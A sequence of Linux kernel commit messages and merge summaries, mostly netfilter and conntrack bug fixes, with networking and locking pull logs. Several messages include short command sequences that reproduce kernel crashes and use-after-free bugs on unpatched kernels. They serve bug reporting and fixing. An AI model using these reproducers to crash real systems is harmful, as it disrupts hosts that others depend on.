>> ERROR: "nf_conntrack_htable_size" [net/netfilter/nfnetlink_cttimeout.ko] undefined!
ERROR: "nf_conntrack_htable_size" [net/netfilter/nf_conntrack_netlink.ko] undefined!
ERROR: "nf_conntrack_htable_size" [net/ipv4/netfilter/nf_conntrack_ipv4.ko] undefined!
Fixes: adf0516845 ("netfilter: remove ip_conntrack* sysctl compat code")
Reported-by: kbuild test robot <fengguang.wu@intel.com>
Reported-by: Stephen Rothwell <sfr@canb.auug.org.au>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
In general, when we want to delete a netns, cttimeout_net_exit will
be called before ipt_unregister_table, i.e. before ctnl_timeout_put.
But after call kfree_rcu in cttimeout_net_exit, we will still decrease
the timeout object's refcnt in ctnl_timeout_put, this is incorrect,
and will cause a use after free error.
It is easy to reproduce this problem:
# while : ; do
ip netns add xxx
ip netns exec xxx nfct add timeout testx inet icmp timeout 200
ip netns exec xxx iptables -t raw -p icmp -I OUTPUT -j CT --timeout testx
ip netns del xxx
done
=======================================================================
BUG kmalloc-96 (Tainted: G B E ): Poison overwritten
-----------------------------------------------------------------------
INFO: 0xffff88002b5161e8-0xffff88002b5161e8. First byte 0x6a instead of
0x6b
INFO: Allocated in cttimeout_new_timeout+0xd4/0x240 [nfnetlink_cttimeout]
age=104 cpu=0 pid=3330
___slab_alloc+0x4da/0x540
__slab_alloc+0x20/0x40
__kmalloc+0x1c8/0x240
cttimeout_new_timeout+0xd4/0x240 [nfnetlink_cttimeout]
nfnetlink_rcv_msg+0x21a/0x230 [nfnetlink]
[ ... ]
So only when the refcnt decreased to 0, we call kfree_rcu to free the
timeout object. And like nfnetlink_acct do, use atomic_cmpxchg to
avoid race between ctnl_timeout_try_del and ctnl_timeout_put.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Suppose that we input the following commands at first:
# nfacct add test
# iptables -A INPUT -m nfacct --nfacct-name test
And now "test" acct's refcnt is 2, but later when we try to delete the
"test" nfacct and the related iptables rule at the same time, race maybe
happen:
CPU0 CPU1
nfnl_acct_try_del nfnl_acct_put
atomic_dec_and_test //ref=1,testfail -
- atomic_dec_and_test //ref=0,testok
- kfree_rcu
atomic_inc //ref=1 -
So after the rcu grace period, nf_acct will be freed but it is still linked
in the nfnl_acct_list, and we can access it later, then oops will happen.
Convert atomic_dec_and_test and atomic_inc combinaiton to one atomic
operation atomic_cmpxchg here to fix this problem.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Since commit 64b87639c9 ("netfilter: conntrack: fix race between
nf_conntrack proc read and hash resize") introduce the
nf_conntrack_get_ht, so there's no need to check nf_conntrack_generation
again and again to get the hash table and hash size. And convert
nf_conntrack_get_ht to inline function here.
Suggested-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
inet_lookup_listener() and inet6_lookup_listener() no longer
take a reference on the found listener.
This minimal patch adds back the refcounting, but we might do
this differently in net-next later.
Fixes: 3b24d854cb ("tcp/dccp: do not touch listener sk_refcnt under synflood")
Reported-and-tested-by: Denys Fedoryshchenko <nuclearcat@nuclearcat.com>
Signed-off-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
We should report the over quota message to the right net namespace
instead of the init netns.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Otherwise, if nfnetlink_log.ko is not loaded, we cannot add rules
to log packets to the userspace when we specify it with arp family,
such as:
# nft add rule arp filter input log group 0
<cmdline>:1:1-37: Error: Could not process rule: No such file or
directory
add rule arp filter input log group 0
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
We should skip the conntracks that belong to a different namespace,
otherwise other unrelated netns's conntrack entries will be dumped via
/proc/net/nf_conntrack.
Fixes: 56d52d4892 ("netfilter: conntrack: use a single hashtable for all namespaces")
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Reviewed-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This backward compatibility has been around for more than ten years,
since Yasuyuki Kozakai introduced IPv6 in conntrack. These days, we have
alternate /proc/net/nf_conntrack* entries, the ctnetlink interface and
the conntrack utility got adopted by many people in the user community
according to what I observed on the netfilter user mailing list.
So let's get rid of this.
Note that nf_conntrack_htable_size and unsigned int nf_conntrack_max do
not need to be exported as symbol anymore.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This patch adds a new hash expression, this provides jhash support but
this can be extended to support for other hash functions. The modulus
and seed already comes embedded into this new expression.
Use case example:
... meta mark set hash ip saddr mod 10
Signed-off-by: Laura Garcia Liebana <nevola@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Use nft_set_* prefix for backend set implementations, thus we can use
nft_hash for the new hash expression.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Once timer is removed from nf_conn struct we cannot open-code
the removal sequence anymore.
Signed-off-by: Florian Westphal <fw@strlen.de>
Acked-by: Julian Anastasov <ja@ssi.bg>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
... so we don't need to touch all of these places when we get rid of the
timer in nf_conn.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
We only need first 4 bytes instead of 8 bytes to get the ports of
tcp/udp/dccp/sctp/udplite in their pkt_to_tuple function.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Fix the direct assignment of offset and length attributes included in
nft_exthdr structure from u32 data to u8.
Signed-off-by: Laura Garcia Liebana <nevola@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Currently, user can add a conntrack with different l4proto via nfnetlink.
For example, original tuple is TCP while reply tuple is SCTP. This is
invalid combination, we should report EINVAL to userspace.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Like NFQNL_MSG_VERDICT_BATCH do, we should also reject the verdict
request when the portid is not same with the initial portid(maybe
from another process).
Fixes: 97d32cf944 ("netfilter: nfnetlink_queue: batch verdict support")
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Reviewed-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
User can use NFQA_EXP to attach expectations to conntracks, but we
forget to put back nf_conntrack_expect when it is inserted successfully,
i.e. in this normal case, expect's use refcnt will be 3. So even we
unlink it and put it back later, the use refcnt is still 1, then the
memory will be leaked forever.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The 'name' filed in struct nf_conntrack_expect_policy{} is not a
pointer, so check it is NULL or not will always return true. Even if the
name is empty, slash will always be displayed like follows:
# cat /proc/net/nf_conntrack_expect
297 l3proto = 2 proto=6 src=1.1.1.1 dst=2.2.2.2 sport=1 dport=1025 ftp/
^
Fixes: 3a8fc53a45 ("netfilter: nf_ct_helper: allocate 16 bytes for the helper and policy names")
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Do not drop packet when CSeq is 0 as 0 is also a valid value for CSeq.
simple_strtoul() will return 0 either when all digits are 0
or if there are no digits at all. Therefore when simple_strtoul()
returns 0 we check if first character is digit 0 or not.
Signed-off-by: Christophe Leroy <christophe.leroy@c-s.fr>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
If we find a matching element that is inactive with no descendants, we
jump to the found label, then crash because of nul-dereference on the
left branch.
Fix this by checking that the element is active and not an interval end
and skipping the logic that only applies to the tree iteration.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Tested-by: Anders K. Pedersen <akp@akp.dk>
Commit 96d1327ac2 ("netfilter: h323: Use mod_timer instead of
set_expect_timeout") just simplify the source codes
if (!del_timer(&exp->timeout))
return 0;
add_timer(&exp->timeout);
to mod_timer(&exp->timeout, jiffies + info->timeout * HZ);
This is not correct, and introduce a race codition:
CPU0 CPU1
- timer expire
process_rcf expectation_timed_out
lock(exp_lock) -
find_exp waiting exp_lock...
re-activate timer!! waiting exp_lock...
unlock(exp_lock) lock(exp_lock)
- unlink expect
- free(expect)
- unlock(exp_lock)
So when the timer expires again, we will access the memory that
was already freed.
Replace mod_timer with mod_timer_pending here to fix this problem.
Fixes: 96d1327ac2 ("netfilter: h323: Use mod_timer instead of set_expect_timeout")
Cc: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Pull networking updates from David Miller:
1) Unified UDP encapsulation offload methods for drivers, from
Alexander Duyck.
2) Make DSA binding more sane, from Andrew Lunn.
3) Support QCA9888 chips in ath10k, from Anilkumar Kolli.
4) Several workqueue usage cleanups, from Bhaktipriya Shridhar.
5) Add XDP (eXpress Data Path), essentially running BPF programs on RX
packets as soon as the device sees them, with the option to mirror
the packet on TX via the same interface. From Brenden Blanco and
others.
6) Allow qdisc/class stats dumps to run lockless, from Eric Dumazet.
7) Add VLAN support to b53 and bcm_sf2, from Florian Fainelli.
8) Simplify netlink conntrack entry layout, from Florian Westphal.
9) Add ipv4 forwarding support to mlxsw spectrum driver, from Ido
Schimmel, Yotam Gigi, and Jiri Pirko.
10) Add SKB array infrastructure and convert tun and macvtap over to it.
From Michael S Tsirkin and Jason Wang.
11) Support qdisc packet injection in pktgen, from John Fastabend.
12) Add neighbour monitoring framework to TIPC, from Jon Paul Maloy.
13) Add NV congestion control support to TCP, from Lawrence Brakmo.
14) Add GSO support to SCTP, from Marcelo Ricardo Leitner.
15) Allow GRO and RPS to function on macsec devices, from Paolo Abeni.
16) Support MPLS over IPV4, from Simon Horman.
* git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-next: (1622 commits)
xgene: Fix build warning with ACPI disabled.
be2net: perform temperature query in adapter regardless of its interface state
l2tp: Correctly return -EBADF from pppol2tp_getname.
net/mlx5_core/health: Remove deprecated create_singlethread_workqueue
net: ipmr/ip6mr: update lastuse on entry change
macsec: ensure rx_sa is set when validation is disabled
tipc: dump monitor attributes
tipc: add a function to get the bearer name
tipc: get monitor threshold for the cluster
tipc: make cluster size threshold for monitoring configurable
tipc: introduce constants for tipc address validation
net: neigh: disallow transition to NUD_STALE if lladdr is unchanged in neigh_update()
MAINTAINERS: xgene: Add driver and documentation path
Documentation: dtb: xgene: Add MDIO node
dtb: xgene: Add MDIO node
drivers: net: xgene: ethtool: Use phy_ethtool_gset and sset
drivers: net: xgene: Use exported functions
drivers: net: xgene: Enable MDIO driver
drivers: net: xgene: Add backward compatibility
drivers: net: phy: xgene: Add MDIO driver
...
Pull locking updates from Ingo Molnar:
"The locking tree was busier in this cycle than the usual pattern - a
couple of major projects happened to coincide.
The main changes are:
- implement the atomic_fetch_{add,sub,and,or,xor}() API natively
across all SMP architectures (Peter Zijlstra)
- add atomic_fetch_{inc/dec}() as well, using the generic primitives
(Davidlohr Bueso)
- optimize various aspects of rwsems (Jason Low, Davidlohr Bueso,
Waiman Long)
- optimize smp_cond_load_acquire() on arm64 and implement LSE based
atomic{,64}_fetch_{add,sub,and,andnot,or,xor}{,_relaxed,_acquire,_release}()
on arm64 (Will Deacon)
- introduce smp_acquire__after_ctrl_dep() and fix various barrier
mis-uses and bugs (Peter Zijlstra)
- after discovering ancient spin_unlock_wait() barrier bugs in its
implementation and usage, strengthen its semantics and update/fix
usage sites (Peter Zijlstra)
- optimize mutex_trylock() fastpath (Peter Zijlstra)
- ... misc fixes and cleanups"
* 'locking-core-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: (67 commits)
locking/atomic: Introduce inc/dec variants for the atomic_fetch_$op() API
locking/barriers, arch/arm64: Implement LDXR+WFE based smp_cond_load_acquire()
locking/static_keys: Fix non static symbol Sparse warning
locking/qspinlock: Use __this_cpu_dec() instead of full-blown this_cpu_dec()
locking/atomic, arch/tile: Fix tilepro build
locking/atomic, arch/m68k: Remove comment
locking/atomic, arch/arc: Fix build
locking/Documentation: Clarify limited control-dependency scope
locking/atomic, arch/rwsem: Employ atomic_long_fetch_add()
locking/atomic, arch/qrwlock: Employ atomic_fetch_add_acquire()
locking/atomic, arch/mips: Convert to _relaxed atomics
locking/atomic, arch/alpha: Convert to _relaxed atomics
locking/atomic: Remove the deprecated atomic_{set,clear}_mask() functions
locking/atomic: Remove linux/atomic.h:atomic_fetch_or()
locking/atomic: Implement atomic{,64,_long}_fetch_{add,sub,and,andnot,or,xor}{,_relaxed,_acquire,_release}()
locking/atomic: Fix atomic64_relaxed() bits
locking/atomic, arch/xtensa: Implement atomic_fetch_{add,sub,and,or,xor}()
locking/atomic, arch/x86: Implement atomic{,64}_fetch_{add,sub,and,or,xor}()
locking/atomic, arch/tile: Implement atomic{,64}_fetch_{add,sub,and,or,xor}()
locking/atomic, arch/sparc: Implement atomic{,64}_fetch_{add,sub,and,or,xor}()
...
Pablo Neira Ayuso says:
====================
Netfilter/IPVS updates for net-next
The following patchset contains Netfilter/IPVS updates for net-next,
they are:
1) Count pre-established connections as active in "least connection"
schedulers such that pre-established connections to avoid overloading
backend servers on peak demands, from Michal Kubecek via Simon Horman.
2) Address a race condition when resizing the conntrack table by caching
the bucket size when fulling iterating over the hashtable in these
three possible scenarios: 1) dump via /proc/net/nf_conntrack,
2) unlinking userspace helper and 3) unlinking custom conntrack timeout.
From Liping Zhang.
3) Revisit early_drop() path to perform lockless traversal on conntrack
eviction under stress, use del_timer() as synchronization point to
avoid two CPUs evicting the same entry, from Florian Westphal.
4) Move NAT hlist_head to nf_conn object, this simplifies the existing
NAT extension and it doesn't increase size since recent patches to
align nf_conn, from Florian.
5) Use rhashtable for the by-source NAT hashtable, also from Florian.
6) Don't allow --physdev-is-out from OUTPUT chain, just like
--physdev-out is not either, from Hangbin Liu.
7) Automagically set on nf_conntrack counters if the user tries to
match ct bytes/packets from nftables, from Liping Zhang.
8) Remove possible_net_t fields in nf_tables set objects since we just
simply pass the net pointer to the backend set type implementations.
9) Fix possible off-by-one in h323, from Toby DiPasquale.
10) early_drop() may be called from ctnetlink patch, so we must hold
rcu read size lock from them too, this amends Florian's patch #3
coming in this batch, from Liping Zhang.
11) Use binary search to validate jump offset in x_tables, this
addresses the O(n!) validation that was introduced recently
resolve security issues with unpriviledge namespaces, from Florian.
12) Fix reference leak to connlabel in error path of nft_ct, from Zhang.
13) Three updates for nft_log: Fix log prefix leak in error path. Bail
out on loglevel larger than debug in nft_log and set on the new
NF_LOG_F_COPY_LEN flag when snaplen is specified. Again from Zhang.
14) Allow to filter rule dumps in nf_tables based on table and chain
names.
15) Simplify connlabel to always use 128 bits to store labels and
get rid of unused function in xt_connlabel, from Florian.
16) Replace set_expect_timeout() by mod_timer() from the h323 conntrack
helper, by Gao Feng.
17) Put back x_tables module reference in nft_compat on error, from
Liping Zhang.
18) Add a reference count to the x_tables extensions cache in
nft_compat, so we can remove them when unused and avoid a crash
if the extensions are rmmod, again from Zhang.
====================
Signed-off-by: David S. Miller <davem@davemloft.net>
We "cache" the loaded match/target modules and reuse them, but when the
modules are removed, we still point to them. Then we may end up with
invalid memory references when using iptables-compat to add rules later.
Input the following commands will reproduce the kernel crash:
# iptables-compat -A INPUT -j LOG
# iptables-compat -D INPUT -j LOG
# rmmod xt_LOG
# iptables-compat -A INPUT -j LOG
BUG: unable to handle kernel paging request at ffffffffa05a9010
IP: [<ffffffff813f783e>] strcmp+0xe/0x30
Call Trace:
[<ffffffffa05acc43>] nft_target_select_ops+0x83/0x1f0 [nft_compat]
[<ffffffffa058a177>] nf_tables_expr_parse+0x147/0x1f0 [nf_tables]
[<ffffffffa058e541>] nf_tables_newrule+0x301/0x810 [nf_tables]
[<ffffffff8141ca00>] ? nla_parse+0x20/0x100
[<ffffffffa057fa8f>] nfnetlink_rcv+0x33f/0x53d [nfnetlink]
[<ffffffffa057f94b>] ? nfnetlink_rcv+0x1fb/0x53d [nfnetlink]
[<ffffffff817116b8>] netlink_unicast+0x178/0x220
[<ffffffff81711a5b>] netlink_sendmsg+0x2fb/0x3a0
[<ffffffff816b7fc8>] sock_sendmsg+0x38/0x50
[<ffffffff816b8a7e>] ___sys_sendmsg+0x28e/0x2a0
[<ffffffff816bcb7e>] ? release_sock+0x1e/0xb0
[<ffffffff81804ac5>] ? _raw_spin_unlock_bh+0x35/0x40
[<ffffffff816bcbe2>] ? release_sock+0x82/0xb0
[<ffffffff816b93d4>] __sys_sendmsg+0x54/0x90
[<ffffffff816b9422>] SyS_sendmsg+0x12/0x20
[<ffffffff81805172>] entry_SYSCALL_64_fastpath+0x1a/0xa9
So when nobody use the related match/target module, there's no need to
"cache" it. And nft_[match|target]_release are useless anymore, remove
them.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
If the user specify the invalid NFTA_MATCH_INFO/NFTA_TARGET_INFO attr
or memory alloc fail, we should call module_put to the related match
or target. Otherwise, we cannot remove the module even nobody use it.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Simplify the code without any side effect. The set_expect_timeout is
used to modify the timer expired time. It tries to delete timer, and
add it again. So we could use mod_timer directly.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The conntrack label extension is currently variable-sized, e.g. if
only 2 labels are used by iptables rules then the labels->bits[] array
will only contain one element.
We track size of each label storage area in the 'words' member.
But in nftables and openvswitch we always have to ask for worst-case
since we don't know what bit will be used at configuration time.
As most arches are 64bit we need to allocate 24 bytes in this case:
struct nf_conn_labels {
u8 words; /* 0 1 */
/* XXX 7 bytes hole, try to pack */
long unsigned bits[2]; /* 8 24 */
Make bits a fixed size and drop the words member, it simplifies
the code and only increases memory requirements on x86 when
less than 64bit labels are required.
We still only allocate the extension if its needed.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
If the table and/or chain attributes are set in a rule dump request,
we filter out the rules based on this selection.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
There's a similar problem in xt_NFLOG, and was fixed by commit 7643507fe8
("netfilter: xt_NFLOG: nflog-range does not truncate packets"). Only set
copy_len here does not work, so we should enable NF_LOG_F_COPY_LEN also.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
User can specify the log level larger than 7(debug level) via
nfnetlink, this is invalid. So in this case, we should report
EINVAL to the userspace.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>